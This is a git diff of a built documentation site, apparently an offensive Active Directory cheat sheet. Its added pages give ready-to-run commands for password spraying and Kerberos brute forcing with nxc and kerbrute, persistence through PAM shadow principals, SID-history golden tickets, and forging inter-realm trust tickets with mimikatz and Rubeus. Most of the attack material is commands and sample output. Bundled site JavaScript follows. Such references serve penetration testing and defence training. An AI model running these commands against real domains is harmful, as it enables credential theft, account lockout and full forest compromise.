+nxc winrm targets.txt -u Administrator -p Password123 -d domain.local
+nxc mssql targets.txt -u Administrator -p Password123 -d domain.local
+nxc wmi targets.txt -u Administrator -p Password123 -d domain.local
+
+nxc ssh targets.txt -u Administrator -p Password123
+nxc vnc targets.txt -u Administrator -p Password123
+nxc ftp targets.txt -u Administrator -p Password123
+nxc nfs targets.txt -u Administrator -p Password123
+

    +
    • +
  • +

    Using hashcat/maskprocessor to generate passwords following a specific rule + 

    nxc smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
+

    +
    • +
  • +

    Using dafthack/DomainPasswordSpray to spray a password against all users of a domain. + 

    Invoke-DomainPasswordSpray -Password Summer2021!
+Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
+

    +
    • +
  • +

    Using shellntel-acct/scripts/SMBAutoBrute. + 

    Invoke-SMBAutoBrute -PasswordList "jennifer, yankees" -LockoutThreshold 3
+Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose
+

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+

BadPwdCount attribute

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The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

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+
$ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --users
+LDAP        10.0.2.11       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
+LDAP        10.0.2.11       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>
+
+

Kerberos pre-auth bruteforcing

+

Using ropnop/kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

+
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Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

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  • Username bruteforce + 
    ./kerbrute_linux_amd64 userenum -d domain.local --dc 10.10.10.10 usernames.txt
+
    • +
  • Password bruteforce + 
    ./kerbrute_linux_amd64 bruteuser -d domain.local --dc 10.10.10.10 rockyou.txt username
+
    • +
  • Password spray + 
    ./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt Password123
+./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt rockyou.txt
+./kerbrute_linux_amd64 passwordspray -d domain.local --dc 10.10.10.10 domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log
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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/trust-pam/index.html b/active-directory/trust-pam/index.html new file mode 100644 index 0000000..f3689aa --- /dev/null +++ b/active-directory/trust-pam/index.html @@ -0,0 +1,4154 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Trust - Privileged Access Management - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Trust - Privileged Access Management

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PAM (Privileged Access Management) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.

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Requirements: +* Windows Server 2016 or earlier

+

If we compromise the bastion we get Domain Admins privileges on the other domain

+
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  • Default configuration for PAM Trust + 
    # execute on our forest
+netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes 
+netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes 
+netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes 
+netdom trust lab.local /domain:bastion.local /Quarantine:No
+# execute on our bastion
+netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
+
    • +
  • Enumerate PAM trusts + 
    # Detect if current forest is PAM trust
+Import ADModule
+Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
+
+# Enumerate shadow security principals 
+Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
+
+# Enumerate if current forest is managed by a bastion forest
+# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
+Get-ADTrust -Filter {(ForestTransitive -eq $True)} 
+
    • +
  • Compromise
      +
    • Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
      • +
    • Using SID History
      • +
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  • Persistence
      +
    • Windows/Linux: +
      bloodyAD --host 10.1.0.4 -u john.doe -p 'Password123!' -d bloody add groupMember 'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local' Administrator
+
      • +
    • Windows only: +
      # Add a compromised user to the group 
+Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/trust-relationship/index.html b/active-directory/trust-relationship/index.html new file mode 100644 index 0000000..e76488f --- /dev/null +++ b/active-directory/trust-relationship/index.html @@ -0,0 +1,4212 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Trust - Relationship - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Trust - Relationship

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  • One-way
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  • Domain B trusts A
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  • Users in Domain A can access resources in Domain B
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  • Users in Domain B cannot access resources in Domain A
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  • Two-way
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  • Domain A trusts Domain B
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  • Domain B trusts Domain A
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  • Authentication requests can be passed between the two domains in both directions
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+

Enumerate trusts between domains

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  • Native nltest + 
    nltest /trusted_domains
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  • PowerShell GetAllTrustRelationships + 
    ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
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+SourceName          TargetName                    TrustType      TrustDirection
+----------          ----------                    ---------      --------------
+domainA.local      domainB.local                  TreeRoot       Bidirectional
+
    • +
  • netexec module enum_trusts + 
    nxc ldap <ip> -u <user> -p <pass> -M enum_trusts 
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+

Exploit trusts between domains

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⚠ Require a Domain-Admin level access to the current domain.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SourceTargetTechnique to useTrust relationship
RootChildGolden Ticket + Enterprise Admin group (Mimikatz /groups)Inter Realm (2-way)
ChildChildSID History exploitation (Mimikatz /sids)Inter Realm Parent-Child (2-way)
ChildRootSID History exploitation (Mimikatz /sids)Inter Realm Tree-Root (2-way)
Forest AForest BPrinterBug + Unconstrained delegation ?Inter Realm Forest or External (2-way)
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Child Domain to Forest Compromise - SID Hijacking

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Most trees are linked with dual sided trust relationships to allow for sharing of resources. +By default the first domain created if the Forest Root.

+

Requirements: +- KRBTGT Hash +- Find the SID of the domain + 

$ Convert-NameToSid target.domain.com\krbtgt
+S-1-5-21-2941561648-383941485-1389968811-502
+
+# with Impacket
+lookupsid.py domain/user:password@10.10.10.10
+
+- Replace 502 with 519 to represent Enterprise Admins +- Create golden ticket and attack parent domain. + 
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
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Forest to Forest Compromise - Trust Ticket

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  • Require: SID filtering disabled
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+

From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using +Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.

+

Dumping trust passwords (trust keys)

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+

Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.

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+
lsadump::trust /patch
+
+or find the TRUST_NAME$ machine account hash
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+

Create a forged trust ticket (inter-realm TGT) using Mimikatz

+
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
+mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
+
+

Use the Trust Ticket file to get a ST for the targeted service

+
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
+.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
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+

Inject the ST file and access the targeted service with the spoofed rights.

+
kirbikator lsa .\ticket.kirbi
+ls \\machine.domain.local\c$
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Xa({viewport$:e}){if(!B("header.autohide"))return I(!1);let t=e.pipe(m(({offset:{y:n}})=>n),Be(2,1),m(([n,i])=>[nMath.abs(i-n.y)>100),m(([,[n]])=>n),K()),o=ze("search");return z([e,o]).pipe(m(([{offset:n},i])=>n.y>400&&!i),K(),v(n=>n?r:I(!1)),Q(!1))}function Kn(e,t){return C(()=>z([ge(e),Xa(t)])).pipe(m(([{height:r},o])=>({height:r,hidden:o})),K((r,o)=>r.height===o.height&&r.hidden===o.hidden),G(1))}function Yn(e,{header$:t,main$:r}){return C(()=>{let o=new g,n=o.pipe(Z(),ie(!0));o.pipe(ee("active"),He(t)).subscribe(([{active:a},{hidden:s}])=>{e.classList.toggle("md-header--shadow",a&&!s),e.hidden=s});let i=ue(P("[title]",e)).pipe(b(()=>B("content.tooltips")),ne(a=>Qn(a)));return r.subscribe(o),t.pipe(W(n),m(a=>$({ref:e},a)),Re(i.pipe(W(n))))})}function Za(e,{viewport$:t,header$:r}){return mr(e,{viewport$:t,header$:r}).pipe(m(({offset:{y:o}})=>{let{height:n}=ce(e);return{active:o>=n}}),ee("active"))}function Bn(e,t){return C(()=>{let r=new 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I(...e).pipe(ne(o=>h(o,"change").pipe(m(()=>o))),Q(e[r]),m(o=>({index:e.indexOf(o),color:{media:o.getAttribute("data-md-color-media"),scheme:o.getAttribute("data-md-color-scheme"),primary:o.getAttribute("data-md-color-primary"),accent:o.getAttribute("data-md-color-accent")}})),G(1))}function Jn(e){let t=P("input",e),r=x("meta",{name:"theme-color"});document.head.appendChild(r);let o=x("meta",{name:"color-scheme"});document.head.appendChild(o);let n=Pt("(prefers-color-scheme: light)");return C(()=>{let i=new g;return i.subscribe(a=>{if(document.body.setAttribute("data-md-color-switching",""),a.color.media==="(prefers-color-scheme)"){let s=matchMedia("(prefers-color-scheme: light)"),p=document.querySelector(s.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: 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Jr=Mt(Br());function ts(e){e.setAttribute("data-md-copying","");let t=e.closest("[data-copy]"),r=t?t.getAttribute("data-copy"):e.innerText;return e.removeAttribute("data-md-copying"),r.trimEnd()}function Zn({alert$:e}){Jr.default.isSupported()&&new j(t=>{new Jr.default("[data-clipboard-target], [data-clipboard-text]",{text:r=>r.getAttribute("data-clipboard-text")||ts(R(r.getAttribute("data-clipboard-target")))}).on("success",r=>t.next(r))}).pipe(w(t=>{t.trigger.focus()}),m(()=>Ee("clipboard.copied"))).subscribe(e)}function ei(e,t){return e.protocol=t.protocol,e.hostname=t.hostname,e}function rs(e,t){let r=new Map;for(let o of P("url",e)){let n=R("loc",o),i=[ei(new URL(n.textContent),t)];r.set(`${i[0]}`,i);for(let a of P("[rel=alternate]",o)){let s=a.getAttribute("href");s!=null&&i.push(ei(new URL(s),t))}}return r}function ur(e){return un(new URL("sitemap.xml",e)).pipe(m(t=>rs(t,new URL(e))),de(()=>I(new Map)))}function os(e,t){if(!(e.target instanceof Element))return S;let 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g,n=on(e.parentElement).pipe(b(Boolean)),i=e.parentElement,a=R(":scope > :first-child",e),s=R(":scope > :last-child",e);ze("search").subscribe(l=>s.setAttribute("role",l?"list":"presentation")),o.pipe(re(r),Wr(t.pipe(Ae(jt)))).subscribe(([{items:l},{value:f}])=>{switch(l.length){case 0:a.textContent=f.length?Ee("search.result.none"):Ee("search.result.placeholder");break;case 1:a.textContent=Ee("search.result.one");break;default:let u=sr(l.length);a.textContent=Ee("search.result.other",u)}});let p=o.pipe(w(()=>s.innerHTML=""),v(({items:l})=>O(I(...l.slice(0,10)),I(...l.slice(10)).pipe(Be(4),Vr(n),v(([f])=>f)))),m(Mn),pe());return p.subscribe(l=>s.appendChild(l)),p.pipe(ne(l=>{let f=fe("details",l);return typeof f=="undefined"?S:h(f,"toggle").pipe(W(o),m(()=>f))})).subscribe(l=>{l.open===!1&&l.offsetTop<=i.scrollTop&&i.scrollTo({top:l.offsetTop})}),t.pipe(b(dr),m(({data:l})=>l)).pipe(w(l=>o.next(l)),_(()=>o.complete()),m(l=>$({ref:e},l)))}function ms(e,{query$:t}){return t.pipe(m(({value:r})=>{let o=ye();return o.hash="",r=r.replace(/\s+/g,"+").replace(/&/g,"%26").replace(/=/g,"%3D"),o.search=`q=${r}`,{url:o}}))}function mi(e,t){let r=new g,o=r.pipe(Z(),ie(!0));return r.subscribe(({url:n})=>{e.setAttribute("data-clipboard-text",e.href),e.href=`${n}`}),h(e,"click").pipe(W(o)).subscribe(n=>n.preventDefault()),ms(e,t).pipe(w(n=>r.next(n)),_(()=>r.complete()),m(n=>$({ref:e},n)))}function fi(e,{worker$:t,keyboard$:r}){let o=new g,n=Se("search-query"),i=O(h(n,"keydown"),h(n,"focus")).pipe(ve(se),m(()=>n.value),K());return o.pipe(He(i),m(([{suggest:s},p])=>{let c=p.split(/([\s-]+)/);if(s!=null&&s.length&&c[c.length-1]){let l=s[s.length-1];l.startsWith(c[c.length-1])&&(c[c.length-1]=l)}else c.length=0;return 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n){let{childNodes:c}=x("span",null,p);s.replaceWith(...Array.from(c))}return{ref:e,nodes:n}}))}function fs(e,{viewport$:t,main$:r}){let o=e.closest(".md-grid"),n=o.offsetTop-o.parentElement.offsetTop;return z([r,t]).pipe(m(([{offset:i,height:a},{offset:{y:s}}])=>(a=a+Math.min(n,Math.max(0,s-i))-n,{height:a,locked:s>=i+n})),K((i,a)=>i.height===a.height&&i.locked===a.locked))}function Zr(e,o){var n=o,{header$:t}=n,r=so(n,["header$"]);let i=R(".md-sidebar__scrollwrap",e),{y:a}=Ve(i);return C(()=>{let s=new g,p=s.pipe(Z(),ie(!0)),c=s.pipe(Me(0,me));return c.pipe(re(t)).subscribe({next([{height:l},{height:f}]){i.style.height=`${l-2*a}px`,e.style.top=`${f}px`},complete(){i.style.height="",e.style.top=""}}),c.pipe(Ae()).subscribe(()=>{for(let l of P(".md-nav__link--active[href]",e)){if(!l.clientHeight)continue;let f=l.closest(".md-sidebar__scrollwrap");if(typeof f!="undefined"){let u=l.offsetTop-f.offsetTop,{height:d}=ce(f);f.scrollTo({top:u-d/2})}}}),ue(P("label[tabindex]",e)).pipe(ne(l=>h(l,"click").pipe(ve(se),m(()=>l),W(p)))).subscribe(l=>{let f=R(`[id="${l.htmlFor}"]`);R(`[aria-labelledby="${l.id}"]`).setAttribute("aria-expanded",`${f.checked}`)}),fs(e,r).pipe(w(l=>s.next(l)),_(()=>s.complete()),m(l=>$({ref:e},l)))})}function hi(e,t){if(typeof t!="undefined"){let r=`https://api.github.com/repos/${e}/${t}`;return st(je(`${r}/releases/latest`).pipe(de(()=>S),m(o=>({version:o.tag_name})),De({})),je(r).pipe(de(()=>S),m(o=>({stars:o.stargazers_count,forks:o.forks_count})),De({}))).pipe(m(([o,n])=>$($({},o),n)))}else{let r=`https://api.github.com/users/${e}`;return je(r).pipe(m(o=>({repositories:o.public_repos})),De({}))}}function bi(e,t){let r=`https://${e}/api/v4/projects/${encodeURIComponent(t)}`;return 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"src/templates/assets/javascripts/polyfills/index.ts"], + "sourcesContent": ["(function (global, factory) {\n typeof exports === 'object' && typeof module !== 'undefined' ? factory() :\n typeof define === 'function' && define.amd ? define(factory) :\n (factory());\n}(this, (function () { 'use strict';\n\n /**\n * Applies the :focus-visible polyfill at the given scope.\n * A scope in this case is either the top-level Document or a Shadow Root.\n *\n * @param {(Document|ShadowRoot)} scope\n * @see https://github.com/WICG/focus-visible\n */\n function applyFocusVisiblePolyfill(scope) {\n var hadKeyboardEvent = true;\n var hadFocusVisibleRecently = false;\n var hadFocusVisibleRecentlyTimeout = null;\n\n var inputTypesAllowlist = {\n text: true,\n search: true,\n url: true,\n tel: true,\n email: true,\n password: true,\n number: true,\n date: true,\n month: true,\n week: true,\n time: true,\n datetime: true,\n 'datetime-local': true\n };\n\n /**\n * Helper function for legacy browsers and iframes which sometimes focus\n * elements like document, body, and non-interactive SVG.\n * @param {Element} el\n */\n function isValidFocusTarget(el) {\n if (\n el &&\n el !== document &&\n el.nodeName !== 'HTML' &&\n el.nodeName !== 'BODY' &&\n 'classList' in el &&\n 'contains' in el.classList\n ) {\n return true;\n }\n return false;\n }\n\n /**\n * Computes whether the given element should automatically trigger the\n * `focus-visible` class being added, i.e. whether it should always match\n * `:focus-visible` when focused.\n * @param {Element} el\n * @return {boolean}\n */\n function focusTriggersKeyboardModality(el) {\n var type = el.type;\n var tagName = el.tagName;\n\n if (tagName === 'INPUT' && inputTypesAllowlist[type] && !el.readOnly) {\n return true;\n }\n\n if (tagName === 'TEXTAREA' && !el.readOnly) {\n return true;\n }\n\n if (el.isContentEditable) {\n return true;\n }\n\n return false;\n }\n\n /**\n * Add the `focus-visible` class to the given element if it was not added by\n * the author.\n * @param {Element} el\n */\n function addFocusVisibleClass(el) {\n if (el.classList.contains('focus-visible')) {\n return;\n }\n el.classList.add('focus-visible');\n el.setAttribute('data-focus-visible-added', '');\n }\n\n /**\n * Remove the `focus-visible` class from the given element if it was not\n * originally added by the author.\n * @param {Element} el\n */\n function removeFocusVisibleClass(el) {\n if (!el.hasAttribute('data-focus-visible-added')) {\n return;\n }\n el.classList.remove('focus-visible');\n el.removeAttribute('data-focus-visible-added');\n }\n\n /**\n * If the most recent user interaction was via the keyboard;\n * and the key press did not include a meta, alt/option, or control key;\n * then the modality is keyboard. Otherwise, the modality is not keyboard.\n * Apply `focus-visible` to any current active element and keep track\n * of our keyboard modality state with `hadKeyboardEvent`.\n * @param {KeyboardEvent} e\n */\n function onKeyDown(e) {\n if (e.metaKey || e.altKey || e.ctrlKey) {\n return;\n }\n\n if (isValidFocusTarget(scope.activeElement)) {\n addFocusVisibleClass(scope.activeElement);\n }\n\n hadKeyboardEvent = true;\n }\n\n /**\n * If at any point a user clicks with a pointing device, ensure that we change\n * the modality away from keyboard.\n * This avoids the situation where a user presses a key on an already focused\n * element, and then clicks on a different element, focusing it with a\n * pointing device, while we still think we're in keyboard modality.\n * @param {Event} e\n */\n function onPointerDown(e) {\n hadKeyboardEvent = false;\n }\n\n /**\n * On `focus`, add the `focus-visible` class to the target if:\n * - the target received focus as a result of keyboard navigation, or\n * - the event target is an element that will likely require interaction\n * via the keyboard (e.g. a text box)\n * @param {Event} e\n */\n function onFocus(e) {\n // Prevent IE from focusing the document or HTML element.\n if (!isValidFocusTarget(e.target)) {\n return;\n }\n\n if (hadKeyboardEvent || focusTriggersKeyboardModality(e.target)) {\n addFocusVisibleClass(e.target);\n }\n }\n\n /**\n * On `blur`, remove the `focus-visible` class from the target.\n * @param {Event} e\n */\n function onBlur(e) {\n if (!isValidFocusTarget(e.target)) {\n return;\n }\n\n if (\n e.target.classList.contains('focus-visible') ||\n e.target.hasAttribute('data-focus-visible-added')\n ) {\n // To detect a tab/window switch, we look for a blur event followed\n // rapidly by a visibility change.\n // If we don't see a visibility change within 100ms, it's probably a\n // regular focus change.\n hadFocusVisibleRecently = true;\n window.clearTimeout(hadFocusVisibleRecentlyTimeout);\n hadFocusVisibleRecentlyTimeout = window.setTimeout(function() {\n hadFocusVisibleRecently = false;\n }, 100);\n removeFocusVisibleClass(e.target);\n }\n }\n\n /**\n * If the user changes tabs, keep track of whether or not the previously\n * focused element had .focus-visible.\n * @param {Event} e\n */\n function onVisibilityChange(e) {\n if (document.visibilityState === 'hidden') {\n // If the tab becomes active again, the browser will handle calling focus\n // on the element (Safari actually calls it twice).\n // If this tab change caused a blur on an element with focus-visible,\n // re-apply the class when the user switches back to the tab.\n if (hadFocusVisibleRecently) {\n hadKeyboardEvent = true;\n }\n addInitialPointerMoveListeners();\n }\n }\n\n /**\n * Add a group of listeners to detect usage of any pointing devices.\n * These listeners will be added when the polyfill first loads, and anytime\n * the window is blurred, so that they are active when the window regains\n * focus.\n */\n function addInitialPointerMoveListeners() {\n document.addEventListener('mousemove', onInitialPointerMove);\n document.addEventListener('mousedown', onInitialPointerMove);\n document.addEventListener('mouseup', onInitialPointerMove);\n document.addEventListener('pointermove', onInitialPointerMove);\n document.addEventListener('pointerdown', onInitialPointerMove);\n document.addEventListener('pointerup', onInitialPointerMove);\n document.addEventListener('touchmove', onInitialPointerMove);\n document.addEventListener('touchstart', onInitialPointerMove);\n document.addEventListener('touchend', onInitialPointerMove);\n }\n\n function removeInitialPointerMoveListeners() {\n document.removeEventListener('mousemove', onInitialPointerMove);\n document.removeEventListener('mousedown', onInitialPointerMove);\n document.removeEventListener('mouseup', onInitialPointerMove);\n document.removeEventListener('pointermove', onInitialPointerMove);\n document.removeEventListener('pointerdown', onInitialPointerMove);\n document.removeEventListener('pointerup', onInitialPointerMove);\n document.removeEventListener('touchmove', onInitialPointerMove);\n document.removeEventListener('touchstart', onInitialPointerMove);\n document.removeEventListener('touchend', onInitialPointerMove);\n }\n\n /**\n * When the polfyill first loads, assume the user is in keyboard modality.\n * If any event is received from a pointing device (e.g. mouse, pointer,\n * touch), turn off keyboard modality.\n * This accounts for situations where focus enters the page from the URL bar.\n * @param {Event} e\n */\n function onInitialPointerMove(e) {\n // Work around a Safari quirk that fires a mousemove on whenever the\n // window blurs, even if you're tabbing out of the page. \u00AF\\_(\u30C4)_/\u00AF\n if (e.target.nodeName && e.target.nodeName.toLowerCase() === 'html') {\n return;\n }\n\n hadKeyboardEvent = false;\n removeInitialPointerMoveListeners();\n }\n\n // For some kinds of state, we are interested in changes at the global scope\n // only. For example, global pointer input, global key presses and global\n // visibility change should affect the state at every scope:\n document.addEventListener('keydown', onKeyDown, true);\n document.addEventListener('mousedown', onPointerDown, true);\n document.addEventListener('pointerdown', onPointerDown, true);\n document.addEventListener('touchstart', onPointerDown, true);\n document.addEventListener('visibilitychange', onVisibilityChange, true);\n\n addInitialPointerMoveListeners();\n\n // For focus and blur, we specifically care about state changes in the local\n // scope. This is because focus / blur events that originate from within a\n // shadow root are not re-dispatched from the host element if it was already\n // the active element in its own scope:\n scope.addEventListener('focus', onFocus, true);\n scope.addEventListener('blur', onBlur, true);\n\n // We detect that a node is a ShadowRoot by ensuring that it is a\n // DocumentFragment and also has a host property. This check covers native\n // implementation and polyfill implementation transparently. If we only cared\n // about the native implementation, we could just check if the scope was\n // an instance of a ShadowRoot.\n if (scope.nodeType === Node.DOCUMENT_FRAGMENT_NODE && scope.host) {\n // Since a ShadowRoot is a special kind of DocumentFragment, it does not\n // have a root element to add a class to. So, we add this attribute to the\n // host element instead:\n scope.host.setAttribute('data-js-focus-visible', '');\n } else if (scope.nodeType === Node.DOCUMENT_NODE) {\n document.documentElement.classList.add('js-focus-visible');\n document.documentElement.setAttribute('data-js-focus-visible', '');\n }\n }\n\n // It is important to wrap all references to global window and document in\n // these checks to support server-side rendering use cases\n // @see https://github.com/WICG/focus-visible/issues/199\n if (typeof window !== 'undefined' && typeof document !== 'undefined') {\n // Make the polyfill helper globally available. This can be used as a signal\n // to interested libraries that wish to coordinate with the polyfill for e.g.,\n // applying the polyfill to a shadow root:\n window.applyFocusVisiblePolyfill = applyFocusVisiblePolyfill;\n\n // Notify interested libraries of the polyfill's presence, in case the\n // polyfill was loaded lazily:\n var event;\n\n try {\n event = new CustomEvent('focus-visible-polyfill-ready');\n } catch (error) {\n // IE11 does not support using CustomEvent as a constructor directly:\n event = document.createEvent('CustomEvent');\n event.initCustomEvent('focus-visible-polyfill-ready', false, false, {});\n }\n\n window.dispatchEvent(event);\n }\n\n if (typeof document !== 'undefined') {\n // Apply the polyfill to the global document, so that no JavaScript\n // coordination is required to use the polyfill in the top-level document:\n applyFocusVisiblePolyfill(document);\n }\n\n})));\n", "/*!\n * escape-html\n * Copyright(c) 2012-2013 TJ Holowaychuk\n * Copyright(c) 2015 Andreas Lubbe\n * Copyright(c) 2015 Tiancheng \"Timothy\" Gu\n * MIT Licensed\n */\n\n'use strict';\n\n/**\n * Module variables.\n * @private\n */\n\nvar matchHtmlRegExp = /[\"'&<>]/;\n\n/**\n * Module exports.\n * @public\n */\n\nmodule.exports = escapeHtml;\n\n/**\n * Escape special characters in the given string of html.\n *\n * @param {string} string The string to escape for inserting into HTML\n * @return {string}\n * @public\n */\n\nfunction escapeHtml(string) {\n var str = '' + string;\n var match = matchHtmlRegExp.exec(str);\n\n if (!match) {\n return str;\n }\n\n var escape;\n var html = '';\n var index = 0;\n var lastIndex = 0;\n\n for (index = match.index; index < str.length; index++) {\n switch (str.charCodeAt(index)) {\n case 34: // \"\n escape = '"';\n break;\n case 38: // &\n escape = '&';\n break;\n case 39: // '\n escape = ''';\n break;\n case 60: // <\n escape = '<';\n break;\n case 62: // >\n escape = '>';\n break;\n default:\n continue;\n }\n\n if (lastIndex !== index) {\n html += str.substring(lastIndex, index);\n }\n\n lastIndex = index + 1;\n html += escape;\n }\n\n return lastIndex !== index\n ? html + str.substring(lastIndex, index)\n : html;\n}\n", "/*!\n * clipboard.js v2.0.11\n * https://clipboardjs.com/\n *\n * Licensed MIT \u00A9 Zeno Rocha\n */\n(function webpackUniversalModuleDefinition(root, factory) {\n\tif(typeof exports === 'object' && typeof module === 'object')\n\t\tmodule.exports = factory();\n\telse if(typeof define === 'function' && define.amd)\n\t\tdefine([], factory);\n\telse if(typeof exports === 'object')\n\t\texports[\"ClipboardJS\"] = factory();\n\telse\n\t\troot[\"ClipboardJS\"] = factory();\n})(this, function() {\nreturn /******/ (function() { // webpackBootstrap\n/******/ \tvar __webpack_modules__ = ({\n\n/***/ 686:\n/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\n\n// EXPORTS\n__webpack_require__.d(__webpack_exports__, {\n \"default\": function() { return /* binding */ clipboard; }\n});\n\n// EXTERNAL MODULE: ./node_modules/tiny-emitter/index.js\nvar tiny_emitter = __webpack_require__(279);\nvar tiny_emitter_default = /*#__PURE__*/__webpack_require__.n(tiny_emitter);\n// EXTERNAL MODULE: ./node_modules/good-listener/src/listen.js\nvar listen = __webpack_require__(370);\nvar listen_default = /*#__PURE__*/__webpack_require__.n(listen);\n// EXTERNAL MODULE: ./node_modules/select/src/select.js\nvar src_select = __webpack_require__(817);\nvar select_default = /*#__PURE__*/__webpack_require__.n(src_select);\n;// CONCATENATED MODULE: ./src/common/command.js\n/**\n * Executes a given operation type.\n * @param {String} type\n * @return {Boolean}\n */\nfunction command(type) {\n try {\n return document.execCommand(type);\n } catch (err) {\n return false;\n }\n}\n;// CONCATENATED MODULE: ./src/actions/cut.js\n\n\n/**\n * Cut action wrapper.\n * @param {String|HTMLElement} target\n * @return {String}\n */\n\nvar ClipboardActionCut = function ClipboardActionCut(target) {\n var selectedText = select_default()(target);\n command('cut');\n return selectedText;\n};\n\n/* harmony default export */ var actions_cut = (ClipboardActionCut);\n;// CONCATENATED MODULE: ./src/common/create-fake-element.js\n/**\n * Creates a fake textarea element with a value.\n * @param {String} value\n * @return {HTMLElement}\n */\nfunction createFakeElement(value) {\n var isRTL = document.documentElement.getAttribute('dir') === 'rtl';\n var fakeElement = document.createElement('textarea'); // Prevent zooming on iOS\n\n fakeElement.style.fontSize = '12pt'; // Reset box model\n\n fakeElement.style.border = '0';\n fakeElement.style.padding = '0';\n fakeElement.style.margin = '0'; // Move element out of screen horizontally\n\n fakeElement.style.position = 'absolute';\n fakeElement.style[isRTL ? 'right' : 'left'] = '-9999px'; // Move element to the same position vertically\n\n var yPosition = window.pageYOffset || document.documentElement.scrollTop;\n fakeElement.style.top = \"\".concat(yPosition, \"px\");\n fakeElement.setAttribute('readonly', '');\n fakeElement.value = value;\n return fakeElement;\n}\n;// CONCATENATED MODULE: ./src/actions/copy.js\n\n\n\n/**\n * Create fake copy action wrapper using a fake element.\n * @param {String} target\n * @param {Object} options\n * @return {String}\n */\n\nvar fakeCopyAction = function fakeCopyAction(value, options) {\n var fakeElement = createFakeElement(value);\n options.container.appendChild(fakeElement);\n var selectedText = select_default()(fakeElement);\n command('copy');\n fakeElement.remove();\n return selectedText;\n};\n/**\n * Copy action wrapper.\n * @param {String|HTMLElement} target\n * @param {Object} options\n * @return {String}\n */\n\n\nvar ClipboardActionCopy = function ClipboardActionCopy(target) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {\n container: document.body\n };\n var selectedText = '';\n\n if (typeof target === 'string') {\n selectedText = fakeCopyAction(target, options);\n } else if (target instanceof HTMLInputElement && !['text', 'search', 'url', 'tel', 'password'].includes(target === null || target === void 0 ? void 0 : target.type)) {\n // If input type doesn't support `setSelectionRange`. Simulate it. https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange\n selectedText = fakeCopyAction(target.value, options);\n } else {\n selectedText = select_default()(target);\n command('copy');\n }\n\n return selectedText;\n};\n\n/* harmony default export */ var actions_copy = (ClipboardActionCopy);\n;// CONCATENATED MODULE: ./src/actions/default.js\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { 